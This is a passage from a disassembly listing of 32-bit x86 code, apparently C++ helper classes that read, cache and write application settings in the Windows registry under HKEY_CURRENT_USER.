mov [ebp+var_14], edx
mov [ebp+var_4], 0FFFFFFFFh
lea ecx, [ebp+arg_0]
call sub_4317A2
mov eax, [ebp+var_14]
loc_426E48: ; CODE XREF: sub_426DB8+5Fj
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn 4
sub_426DB8 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_432599
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 24h
mov [ebp-30h], ecx
mov ecx, [ebp-30h]
call sub_4281D0
mov dword ptr [ebp-4], 0
mov ecx, [ebp-30h]
add ecx, 10h
call sub_4283A0
mov ecx, [ebp-30h]
add ecx, 20h
call sub_4283A0
push 0
push 0
push 0
push 0
lea ecx, [ebp-1Ch]
call sub_428320
mov ecx, [ebp-30h]
add ecx, 10h
mov edx, [eax]
mov [ecx], edx
mov edx, [eax+4]
mov [ecx+4], edx
mov edx, [eax+8]
mov [ecx+8], edx
mov eax, [eax+0Ch]
mov [ecx+0Ch], eax
push 0
push 0
push 0
push 0
lea ecx, [ebp-2Ch]
call sub_428320
mov ecx, [ebp-30h]
add ecx, 20h
mov edx, [eax]
mov [ecx], edx
mov edx, [eax+4]
mov [ecx+4], edx
mov edx, [eax+8]
mov [ecx+8], edx
mov eax, [eax+0Ch]
mov [ecx+0Ch], eax
push offset dword_439CD4
mov ecx, [ebp-30h]
add ecx, 8
call sub_43179C
mov ecx, [ebp-30h]
mov dword ptr [ecx], 80000001h
mov edx, [ebp-30h]
mov dword ptr [edx+30h], 0
mov eax, [ebp-30h]
mov dword ptr [eax+34h], 0
mov dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-30h]
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_4325C7
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 3Ch
push esi
mov [ebp-38h], ecx
mov dword ptr [ebp-4], 0
mov ecx, [ebp-38h]
call sub_4281D0
mov byte ptr [ebp-4], 1
mov ecx, [ebp-38h]
add ecx, 10h
call sub_4283A0
mov ecx, [ebp-38h]
add ecx, 20h
call sub_4283A0
push 0
push 0
push 0
push 0
lea ecx, [ebp-1Ch]
call sub_428320
mov ecx, [ebp-38h]
add ecx, 10h
mov edx, [eax]
mov [ecx], edx
mov edx, [eax+4]
mov [ecx+4], edx
mov edx, [eax+8]
mov [ecx+8], edx
mov eax, [eax+0Ch]
mov [ecx+0Ch], eax
mov ecx, [ebp-38h]
add ecx, 20h
mov edx, [ebp+0Ch]
mov [ecx], edx
mov eax, [ebp+10h]
mov [ecx+4], eax
mov edx, [ebp+14h]
mov [ecx+8], edx
mov eax, [ebp+18h]
mov [ecx+0Ch], eax
mov ecx, [ebp-38h]
mov edx, [ebp+1Ch]
mov [ecx+34h], edx
mov eax, [ebp-38h]
mov ecx, [ebp+20h]
mov [eax], ecx
mov edx, [ebp-38h]
mov dword ptr [edx+30h], 0
push offset asc_437554 ; "\\"
lea ecx, [ebp+8]
call sub_4317F6
push 5Ch
lea ecx, [ebp+8]
call sub_4317C6
push eax
lea eax, [ebp-20h]
push eax
lea ecx, [ebp+8]
call sub_4317C0
mov [ebp-3Ch], eax
mov ecx, [ebp-3Ch]
mov [ebp-40h], ecx
mov byte ptr [ebp-4], 2
mov edx, [ebp-40h]
push edx
mov ecx, [ebp-38h]
add ecx, 0Ch
call sub_4317A8
mov byte ptr [ebp-4], 1
lea ecx, [ebp-20h]
call sub_4317A2
push offset asc_437558 ; "\\"
mov ecx, [ebp-38h]
add ecx, 0Ch
call sub_4317F0
lea ecx, [ebp+8]
call sub_428280
mov esi, eax
push 5Ch
lea ecx, [ebp+8]
call sub_4317C6
sub esi, eax
push esi
lea eax, [ebp-24h]
push eax
lea ecx, [ebp+8]
call sub_4317EA
mov [ebp-44h], eax
mov ecx, [ebp-44h]
mov [ebp-48h], ecx
mov byte ptr [ebp-4], 3
mov edx, [ebp-48h]
push edx
mov ecx, [ebp-38h]
add ecx, 8
call sub_4317A8
mov byte ptr [ebp-4], 1
lea ecx, [ebp-24h]
call sub_4317A2
push offset asc_43755C ; "\\"
mov ecx, [ebp-38h]
add ecx, 8
call sub_4317F6
push offset asc_437560 ; "\\"
mov ecx, [ebp-38h]
add ecx, 8
call sub_4317F0
lea eax, [ebp-34h]
push eax
mov ecx, [ebp-38h]
call sub_4270ED
mov dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp+8]
call sub_4317A2
mov eax, [ebp-38h]
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
pop esi
mov esp, ebp
pop ebp
retn 1Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov ecx, [ebp-4]
call sub_428230
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4270ED proc near ; CODE XREF: TEUm:004270B2p
; TEUm:00427342p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2Ch
mov [ebp+var_2C], ecx
mov eax, [ebp+var_2C]
add eax, 4
push eax
push 20019h
push 0
mov ecx, [ebp+var_2C]
add ecx, 0Ch
call sub_4226A0
push eax
mov ecx, [ebp+var_2C]
mov edx, [ecx]
push edx
call dword_433004 ; RegOpenKeyExA
test eax, eax
jnz loc_427248
mov [ebp+var_8], 0
lea eax, [ebp+var_8]
push eax
push 0
lea ecx, [ebp+var_C]
push ecx
push 0
mov ecx, [ebp+var_2C]
add ecx, 8
call sub_4226A0
push eax
mov edx, [ebp+var_2C]
mov eax, [edx+4]
push eax
call dword_433010 ; RegQueryValueExA
mov ecx, [ebp+var_8]
push ecx
call sub_431784
add esp, 4
mov [ebp+var_10], eax
mov edx, [ebp+var_10]
mov [ebp+var_4], edx
lea eax, [ebp+var_8]
push eax
mov ecx, [ebp+var_4]
push ecx
lea edx, [ebp+var_C]
push edx
push 0
mov ecx, [ebp+var_2C]
add ecx, 8
call sub_4226A0
push eax
mov eax, [ebp+var_2C]
mov ecx, [eax+4]
push ecx
call dword_433010 ; RegQueryValueExA
test eax, eax
jnz short loc_427205
mov edx, [ebp+var_4]
push edx
lea ecx, [ebp+var_20]
call sub_428360
mov ecx, [ebp+var_2C]
add ecx, 10h
mov edx, [eax]
mov [ecx], edx
mov edx, [eax+4]
mov [ecx+4], edx
mov edx, [eax+8]
mov [ecx+8], edx
mov eax, [eax+0Ch]
mov [ecx+0Ch], eax
mov ecx, [ebp+var_4]
mov [ebp+var_24], ecx
mov edx, [ebp+var_24]
push edx
call sub_43177E
add esp, 4
mov eax, [ebp+var_2C]
mov dword ptr [eax+30h], 1
mov ecx, [ebp+var_2C]
mov edx, [ecx+4]
push edx
call dword_433000 ; RegCloseKey
mov eax, [ebp+var_2C]
add eax, 10h
mov ecx, [ebp+arg_0]
mov edx, [eax]
mov [ecx], edx
mov edx, [eax+4]
mov [ecx+4], edx
mov edx, [eax+8]
mov [ecx+8], edx
mov eax, [eax+0Ch]
mov [ecx+0Ch], eax
mov eax, [ebp+arg_0]
jmp short loc_42726A
; ---------------------------------------------------------------------------
loc_427205: ; CODE XREF: sub_4270ED+A1j
mov ecx, [ebp+var_4]
mov [ebp+var_28], ecx
mov edx, [ebp+var_28]
push edx
call sub_43177E
add esp, 4
mov eax, [ebp+var_2C]
mov ecx, [eax+4]
push ecx
call dword_433000 ; RegCloseKey
mov edx, [ebp+var_2C]
add edx, 20h
mov eax, [ebp+arg_0]
mov ecx, [edx]
mov [eax], ecx
mov ecx, [edx+4]
mov [eax+4], ecx
mov ecx, [edx+8]
mov [eax+8], ecx
mov edx, [edx+0Ch]
mov [eax+0Ch], edx
mov eax, [ebp+arg_0]
jmp short loc_42726A
; ---------------------------------------------------------------------------
loc_427248: ; CODE XREF: sub_4270ED+31j
mov eax, [ebp+var_2C]
add eax, 20h
mov ecx, [ebp+arg_0]
mov edx, [eax]
mov [ecx], edx
mov edx, [eax+4]
mov [ecx+4], edx
mov edx, [eax+8]
mov [ecx+8], edx
mov eax, [eax+0Ch]
mov [ecx+0Ch], eax
mov eax, [ebp+arg_0]
loc_42726A: ; CODE XREF: sub_4270ED+116j
; sub_4270ED+159j
mov esp, ebp
pop ebp
retn 4
sub_4270ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427270 proc near ; CODE XREF: TEUm:004273B1p
var_8 = dword ptr -8
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
lea eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_8]
add ecx, 4
push ecx
push 0
push 20006h
push 0
push offset dword_439CD8
push 0
mov ecx, [ebp+var_8]
add ecx, 0Ch
call sub_4226A0
push eax
mov edx, [ebp+var_8]
mov eax, [edx]
push eax
call dword_43300C ; RegCreateKeyExA
test eax, eax
jz short loc_4272B2
jmp short loc_4272F8
; ---------------------------------------------------------------------------
loc_4272B2: ; CODE XREF: sub_427270+3Ej
push 10h
mov ecx, [ebp+var_8]
add ecx, 10h
call sub_4283A0
push eax
push 3
push 0
mov ecx, [ebp+var_8]
add ecx, 8
call sub_4226A0
push eax
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
push edx
call dword_433008 ; RegSetValueExA
test eax, eax
jnz short loc_4272EB
mov eax, [ebp+var_8]
mov dword ptr [eax+30h], 1
loc_4272EB: ; CODE XREF: sub_427270+6Fj
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
push edx
call dword_433000 ; RegCloseKey
loc_4272F8: ; CODE XREF: sub_427270+40j
mov esp, ebp
pop ebp
retn
sub_427270 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 14h
mov [ebp-14h], ecx
mov eax, [ebp-14h]
cmp dword ptr [eax+30h], 0
jz short loc_42733B
mov ecx, [ebp-14h]
cmp dword ptr [ecx+34h], 0
jnz short loc_42733B
mov edx, [ebp-14h]
add edx, 10h
mov eax, [ebp+8]
mov ecx, [edx]
mov [eax], ecx
mov ecx, [edx+4]
mov [eax+4], ecx
mov ecx, [edx+8]
mov [eax+8], ecx
mov edx, [edx+0Ch]
mov [eax+0Ch], edx
mov eax, [ebp+8]
jmp short loc_427363
; ---------------------------------------------------------------------------
loc_42733B: ; CODE XREF: TEUm:0042730Cj
; TEUm:00427315j
lea eax, [ebp-10h]
push eax
mov ecx, [ebp-14h]
call sub_4270ED
mov ecx, [ebp+8]
mov edx, [eax]
mov [ecx], edx
mov edx, [eax+4]
mov [ecx+4], edx
mov edx, [eax+8]
mov [ecx+8], edx
mov eax, [eax+0Ch]
mov [ecx+0Ch], eax
mov eax, [ebp+8]
loc_427363: ; CODE XREF: TEUm:00427339j
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
add eax, 10h
push eax
lea ecx, [ebp+8]
call sub_428380
test eax, eax
jz short loc_427391
mov ecx, [ebp-4]
cmp dword ptr [ecx+34h], 0
jnz short loc_427391
mov eax, [ebp-4]
jmp short loc_4273B9
; ---------------------------------------------------------------------------
loc_427391: ; CODE XREF: TEUm:00427381j
; TEUm:0042738Aj
mov edx, [ebp-4]
add edx, 10h
mov eax, [ebp+8]
mov [edx], eax
mov ecx, [ebp+0Ch]
mov [edx+4], ecx
mov eax, [ebp+10h]
mov [edx+8], eax
mov ecx, [ebp+14h]
mov [edx+0Ch], ecx
mov ecx, [ebp-4]
call sub_427270
mov eax, [ebp-4]
loc_4273B9: ; CODE XREF: TEUm:0042738Fj
mov esp, ebp
pop ebp
retn 10h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_4325DA
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 14h
mov [ebp-20h], ecx
mov ecx, [ebp-20h]
call sub_4281D0
mov dword ptr [ebp-4], 0
mov ecx, [ebp-20h]
add ecx, 10h
call sub_4283A0
mov ecx, [ebp-20h]
add ecx, 18h
call sub_4283A0
push 0
push 0
lea ecx, [ebp-14h]
call sub_4283B0
mov ecx, [eax]
mov edx, [eax+4]
mov eax, [ebp-20h]
mov [eax+10h], ecx
mov [eax+14h], edx
push 0
push 0
lea ecx, [ebp-1Ch]
call sub_4283B0
mov ecx, [eax]
mov edx, [eax+4]
mov eax, [ebp-20h]
mov [eax+18h], ecx
mov [eax+1Ch], edx
push offset dword_439CDC
mov ecx, [ebp-20h]
add ecx, 8
call sub_43179C
mov ecx, [ebp-20h]
mov dword ptr [ecx], 80000001h
mov edx, [ebp-20h]
mov dword ptr [edx+20h], 0
mov eax, [ebp-20h]
mov dword ptr [eax+24h], 0
mov dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-20h]
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_432608
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 2Ch
push esi
mov [ebp-28h], ecx
mov dword ptr [ebp-4], 0
mov ecx, [ebp-28h]
call sub_4281D0
mov byte ptr [ebp-4], 1
mov ecx, [ebp-28h]
add ecx, 10h
call sub_4283A0
mov ecx, [ebp-28h]
add ecx, 18h
call sub_4283A0
push 0
push 0
lea ecx, [ebp-14h]
call sub_4283B0
mov ecx, [eax]
mov edx, [eax+4]
mov eax, [ebp-28h]
mov [eax+10h], ecx
mov [eax+14h], edx
mov ecx, [ebp-28h]
mov edx, [ebp+0Ch]
mov [ecx+18h], edx
mov eax, [ebp+10h]
mov [ecx+1Ch], eax
mov ecx, [ebp-28h]
mov edx, [ebp+14h]
mov [ecx+24h], edx
mov eax, [ebp-28h]
mov ecx, [ebp+18h]
mov [eax], ecx
mov edx, [ebp-28h]
mov dword ptr [edx+20h], 0
push offset asc_437564 ; "\\"
lea ecx, [ebp+8]
call sub_4317F6
push 5Ch
lea ecx, [ebp+8]
call sub_4317C6
push eax
lea eax, [ebp-18h]
push eax
lea ecx, [ebp+8]
call sub_4317C0
mov [ebp-2Ch], eax
mov ecx, [ebp-2Ch]
mov [ebp-30h], ecx
mov byte ptr [ebp-4], 2
mov edx, [ebp-30h]
push edx
mov ecx, [ebp-28h]
add ecx, 0Ch
call sub_4317A8
mov byte ptr [ebp-4], 1
lea ecx, [ebp-18h]
call sub_4317A2
push offset asc_437568 ; "\\"
mov ecx, [ebp-28h]
add ecx, 0Ch
call sub_4317F0
lea ecx, [ebp+8]
call sub_428280
mov esi, eax
push 5Ch
lea ecx, [ebp+8]
call sub_4317C6
sub esi, eax
push esi
lea eax, [ebp-1Ch]
push eax
lea ecx, [ebp+8]
call sub_4317EA
mov [ebp-34h], eax
mov ecx, [ebp-34h]
mov [ebp-38h], ecx
mov byte ptr [ebp-4], 3
mov edx, [ebp-38h]
push edx
mov ecx, [ebp-28h]
add ecx, 8
call sub_4317A8
mov byte ptr [ebp-4], 1
lea ecx, [ebp-1Ch]
call sub_4317A2
push offset asc_43756C ; "\\"
mov ecx, [ebp-28h]
add ecx, 8
call sub_4317F6
push offset asc_437570 ; "\\"
mov ecx, [ebp-28h]
add ecx, 8
call sub_4317F0
lea eax, [ebp-24h]
push eax
mov ecx, [ebp-28h]
call sub_427610
mov dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp+8]
call sub_4317A2
mov eax, [ebp-28h]
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
pop esi
mov esp, ebp
pop ebp
retn 14h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov ecx, [ebp-4]
call sub_428230
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427610 proc near ; CODE XREF: TEUm:004275D5p
; TEUm:00427820p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 24h
mov [ebp+var_24], ecx
mov eax, [ebp+var_24]
add eax, 4
push eax
push 20019h
push 0
mov ecx, [ebp+var_24]
add ecx, 0Ch
call sub_4226A0
push eax
mov ecx, [ebp+var_24]
mov edx, [ecx]
push edx
call dword_433004 ; RegOpenKeyExA
test eax, eax
jnz loc_427747
mov [ebp+var_4], 0
lea eax, [ebp+var_4]
push eax
push 0
lea ecx, [ebp+var_8]
push ecx
push 0
mov ecx, [ebp+var_24]
add ecx, 8
call sub_4226A0
push eax
mov edx, [ebp+var_24]
mov eax, [edx+4]
push eax
call dword_433010 ; RegQueryValueExA
mov ecx, [ebp+var_4]
push ecx
call sub_431784
add esp, 4
mov [ebp+var_10], eax
mov edx, [ebp+var_10]
mov [ebp+var_C], edx
lea eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_C]
push ecx
lea edx, [ebp+var_8]
push edx
push 0
mov ecx, [ebp+var_24]
add ecx, 8
call sub_4226A0
push eax
mov eax, [ebp+var_24]
mov ecx, [eax+4]
push ecx
call dword_433010 ; RegQueryValueExA
test eax, eax
jnz short loc_427712
mov edx, [ebp+var_C]
mov eax, [edx+4]
push eax
mov ecx, [edx]
push ecx
lea ecx, [ebp+var_18]
call sub_4283E0
mov edx, [eax]
mov eax, [eax+4]
mov ecx, [ebp+var_24]
mov [ecx+10h], edx
mov [ecx+14h], eax
mov edx, [ebp+var_C]
mov [ebp+var_1C], edx
mov eax, [ebp+var_1C]
push eax
call sub_43177E
add esp, 4
mov ecx, [ebp+var_24]
mov dword ptr [ecx+20h], 1
mov edx, [ebp+var_24]
mov eax, [edx+4]
push eax
call dword_433000 ; RegCloseKey
mov ecx, [ebp+var_24]
mov edx, [ecx+10h]
mov eax, [ecx+14h]
mov ecx, [ebp+arg_0]
mov [ecx], edx
mov [ecx+4], eax
mov eax, [ebp+arg_0]
jmp short loc_42775B
; ---------------------------------------------------------------------------
loc_427712: ; CODE XREF: sub_427610+A1j
mov edx, [ebp+var_C]
mov [ebp+var_20], edx
mov eax, [ebp+var_20]
push eax
call sub_43177E
add esp, 4
mov ecx, [ebp+var_24]
mov edx, [ecx+4]
push edx
call dword_433000 ; RegCloseKey
mov eax, [ebp+var_24]
mov ecx, [eax+18h]
mov edx, [eax+1Ch]
mov eax, [ebp+arg_0]
mov [eax], ecx
mov [eax+4], edx
mov eax, [ebp+arg_0]
jmp short loc_42775B
; ---------------------------------------------------------------------------
loc_427747: ; CODE XREF: sub_427610+31j
mov ecx, [ebp+var_24]
mov edx, [ecx+18h]
mov eax, [ecx+1Ch]
mov ecx, [ebp+arg_0]
mov [ecx], edx
mov [ecx+4], eax
mov eax, [ebp+arg_0]
loc_42775B: ; CODE XREF: sub_427610+100j
; sub_427610+135j
mov esp, ebp
pop ebp
retn 4
sub_427610 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427761 proc near ; CODE XREF: TEUm:00427887p
var_8 = dword ptr -8
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
lea eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_8]
add ecx, 4
push ecx
push 0
push 20006h
push 0
push offset dword_439CE0
push 0
mov ecx, [ebp+var_8]
add ecx, 0Ch
call sub_4226A0
push eax
mov edx, [ebp+var_8]
mov eax, [edx]
push eax
call dword_43300C ; RegCreateKeyExA
test eax, eax
jz short loc_4277A3
jmp short loc_4277E4
; ---------------------------------------------------------------------------
loc_4277A3: ; CODE XREF: sub_427761+3Ej
push 8
mov ecx, [ebp+var_8]
add ecx, 10h
push ecx
push 3
push 0
mov ecx, [ebp+var_8]
add ecx, 8
call sub_4226A0
push eax
mov edx, [ebp+var_8]
mov eax, [edx+4]
push eax
call dword_433008 ; RegSetValueExA
test eax, eax
jnz short loc_4277D7
mov ecx, [ebp+var_8]
mov dword ptr [ecx+20h], 1
loc_4277D7: ; CODE XREF: sub_427761+6Aj
mov edx, [ebp+var_8]
mov eax, [edx+4]
push eax
call dword_433000 ; RegCloseKey
loc_4277E4: ; CODE XREF: sub_427761+40j
mov esp, ebp
pop ebp
retn
sub_427761 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp-0Ch], ecx
mov eax, [ebp-0Ch]
cmp dword ptr [eax+20h], 0
jz short loc_427819
mov ecx, [ebp-0Ch]
cmp dword ptr [ecx+24h], 0
jnz short loc_427819
mov edx, [ebp-0Ch]
mov eax, [edx+10h]
mov ecx, [edx+14h]
mov edx, [ebp+8]
mov [edx], eax
mov [edx+4], ecx
mov eax, [ebp+8]
jmp short loc_427835
; ---------------------------------------------------------------------------
loc_427819: ; CODE XREF: TEUm:004277F8j
; TEUm:00427801j
lea eax, [ebp-8]
push eax
mov ecx, [ebp-0Ch]
call sub_427610
mov ecx, [eax]
mov edx, [eax+4]
mov eax, [ebp+8]
mov [eax], ecx
mov [eax+4], edx
mov eax, [ebp+8]
loc_427835: ; CODE XREF: TEUm:00427817j
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp-0Ch], ecx
mov eax, [ebp-0Ch]
mov ecx, [eax+10h]
mov edx, [eax+14h]
mov [ebp-8], ecx
mov [ebp-4], edx
mov eax, [ebp-4]
push eax
mov ecx, [ebp-8]
push ecx
lea ecx, [ebp+8]
call sub_428400
test eax, eax
jz short loc_427875
mov edx, [ebp-0Ch]
cmp dword ptr [edx+24h], 0
jnz short loc_427875
mov eax, [ebp-0Ch]
jmp short loc_42788F
; ---------------------------------------------------------------------------
loc_427875: ; CODE XREF: TEUm:00427865j
; TEUm:0042786Ej
mov eax, [ebp-0Ch]
mov ecx, [ebp+8]
mov [eax+10h], ecx
mov edx, [ebp+0Ch]
mov [eax+14h], edx
mov ecx, [ebp-0Ch]
call sub_427761
mov eax, [ebp-0Ch]
loc_42788F: ; CODE XREF: TEUm:00427873j
mov esp, ebp
pop ebp
retn 8
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_432635
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
mov [ebp-18h], ecx
mov ecx, [ebp-18h]
call sub_428440
mov dword ptr [ebp-4], 0
lea eax, [ebp-10h]
push eax
mov ecx, [ebp-18h]
add ecx, 28h
call dword_43316C
mov byte ptr [ebp-4], 1
lea ecx, [ebp-14h]
push ecx
mov ecx, [ebp-18h]
add ecx, 38h
call dword_43316C
mov byte ptr [ebp-4], 2
push offset dword_439CE4
mov ecx, [ebp-18h]
add ecx, 28h
call dword_433194
push offset dword_439CE8
mov ecx, [ebp-18h]
add ecx, 38h
call dword_433194
push offset dword_439CEC
mov ecx, [ebp-18h]
add ecx, 8
call dword_433194
mov edx, [ebp-18h]
mov dword ptr [edx], 80000001h
mov eax, [ebp-18h]
mov dword ptr [eax+48h], 0
mov ecx, [ebp-18h]
mov dword ptr [ecx+4Ch], 0
mov dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-18h]
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_43268A
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 50h
mov [ebp-4Ch], ecx
mov dword ptr [ebp-4], 1
mov ecx, [ebp-4Ch]
call sub_428440
mov byte ptr [ebp-4], 2
lea eax, [ebp-14h]
push eax
mov ecx, [ebp-4Ch]
add ecx, 28h
call dword_43316C
mov byte ptr [ebp-4], 3
lea ecx, [ebp-18h]
push ecx
mov ecx, [ebp-4Ch]
add ecx, 38h
call dword_43316C
mov byte ptr [ebp-4], 4
push offset dword_439CF0
mov ecx, [ebp-4Ch]
add ecx, 28h
call dword_433194
lea edx, [ebp+18h]
push edx
mov ecx, [ebp-4Ch]
add ecx, 38h
call dword_43317C
mov eax, [ebp-4Ch]
mov ecx, [ebp+28h]
mov [eax+4Ch], ecx
mov edx, [ebp-4Ch]
mov eax, [ebp+2Ch]
mov [edx], eax
mov ecx, [ebp-4Ch]
mov dword ptr [ecx+48h], 0
mov edx, dword_433178
mov eax, [edx]
push eax
push 5Ch
lea ecx, [ebp+8]
call dword_433174
mov [ebp-10h], eax
mov ecx, [ebp-10h]
push ecx
push 0
lea edx, [ebp-28h]
push edx
lea ecx, [ebp+8]
call dword_433170
mov [ebp-50h], eax
mov eax, [ebp-50h]
mov [ebp-54h], eax
mov byte ptr [ebp-4], 5
mov ecx, [ebp-54h]
push ecx
mov ecx, [ebp-4Ch]
add ecx, 18h
call dword_43317C
mov byte ptr [ebp-4], 4
lea ecx, [ebp-28h]
call dword_433168
mov edx, dword_433178
mov eax, [edx]
push eax
mov ecx, [ebp-10h]
add ecx, 1
push ecx
lea edx, [ebp-38h]
push edx
lea ecx, [ebp+8]
call dword_433170
mov [ebp-58h], eax
mov eax, [ebp-58h]
mov [ebp-5Ch], eax
mov byte ptr [ebp-4], 6
mov ecx, [ebp-5Ch]
push ecx
mov ecx, [ebp-4Ch]
add ecx, 8
call dword_43317C
mov byte ptr [ebp-4], 4
lea ecx, [ebp-38h]
call dword_433168
lea edx, [ebp-48h]
push edx
mov ecx, [ebp-4Ch]
call sub_427B23
lea ecx, [ebp-48h]
call dword_433168
mov byte ptr [ebp-4], 0
lea ecx, [ebp+8]
call dword_433168
mov dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp+18h]
call dword_433168
mov eax, [ebp-4Ch]
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn 28h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_4326AA
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov [ebp-10h], ecx
mov dword ptr [ebp-4], 1
mov ecx, [ebp-10h]
add ecx, 38h
call dword_433168
mov byte ptr [ebp-4], 0
mov ecx, [ebp-10h]
add ecx, 28h
call dword_433168
mov dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, [ebp-10h]
call sub_4284A0
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427B23 proc near ; CODE XREF: TEUm:00427A89p
; TEUm:00427D66p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_20], ecx
mov [ebp+var_1C], 0
mov eax, [ebp+var_20]
add eax, 4
push eax
push 20019h
push 0
mov ecx, [ebp+var_20]
add ecx, 18h
call dword_433188
push eax
mov ecx, [ebp+var_20]
mov edx, [ecx]
push edx
call dword_433004 ; RegOpenKeyExA
test eax, eax
jnz loc_427C62
mov [ebp+var_4], 0
lea eax, [ebp+var_4]
push eax
push 0
lea ecx, [ebp+var_C]
push ecx
push 0
mov ecx, [ebp+var_20]
add ecx, 8
call dword_433188
push eax
mov edx, [ebp+var_20]
mov eax, [edx+4]
push eax
call dword_433010 ; RegQueryValueExA
mov ecx, [ebp+var_4]
push ecx
call sub_431784
add esp, 4
mov [ebp+var_10], eax
mov edx, [ebp+var_10]
mov [ebp+var_8], edx
lea eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_8]
push ecx
lea edx, [ebp+var_C]
push edx
push 0
mov ecx, [ebp+var_20]
add ecx, 8
call dword_433188
push eax
mov eax, [ebp+var_20]
mov ecx, [eax+4]
push ecx
call dword_433010 ; RegQueryValueExA
test eax, eax
jnz short loc_427C26
mov edx, [ebp+var_8]
push edx
mov ecx, [ebp+var_20]
add ecx, 28h
call dword_433184
mov eax, [ebp+var_8]
mov [ebp+var_14], eax
mov ecx, [ebp+var_14]
push ecx
call sub_43177E
add esp, 4
mov edx, [ebp+var_20]
mov dword ptr [edx+48h], 1
mov eax, [ebp+var_20]
mov ecx, [eax+4]
push ecx
call dword_433000 ; RegCloseKey
mov edx, [ebp+var_20]
add edx, 28h
push edx
mov ecx, [ebp+arg_0]
call dword_433180
mov eax, [ebp+var_1C]
or al, 1
mov [ebp+var_1C], eax
mov eax, [ebp+arg_0]
jmp short loc_427C7E
; ---------------------------------------------------------------------------
loc_427C26: ; CODE XREF: sub_427B23+ABj
mov ecx, [ebp+var_8]
mov [ebp+var_18], ecx
mov edx, [ebp+var_18]
push edx
call sub_43177E
add esp, 4
mov eax, [ebp+var_20]
mov ecx, [eax+4]
push ecx
call dword_433000 ; RegCloseKey
mov edx, [ebp+var_20]
add edx, 38h
push edx
mov ecx, [ebp+arg_0]
call dword_433180
mov eax, [ebp+var_1C]
or al, 1
mov [ebp+var_1C], eax
mov eax, [ebp+arg_0]
jmp short loc_427C7E
; ---------------------------------------------------------------------------
loc_427C62: ; CODE XREF: sub_427B23+39j
mov ecx, [ebp+var_20]
add ecx, 38h
push ecx
mov ecx, [ebp+arg_0]
call dword_433180
mov edx, [ebp+var_1C]
or edx, 1
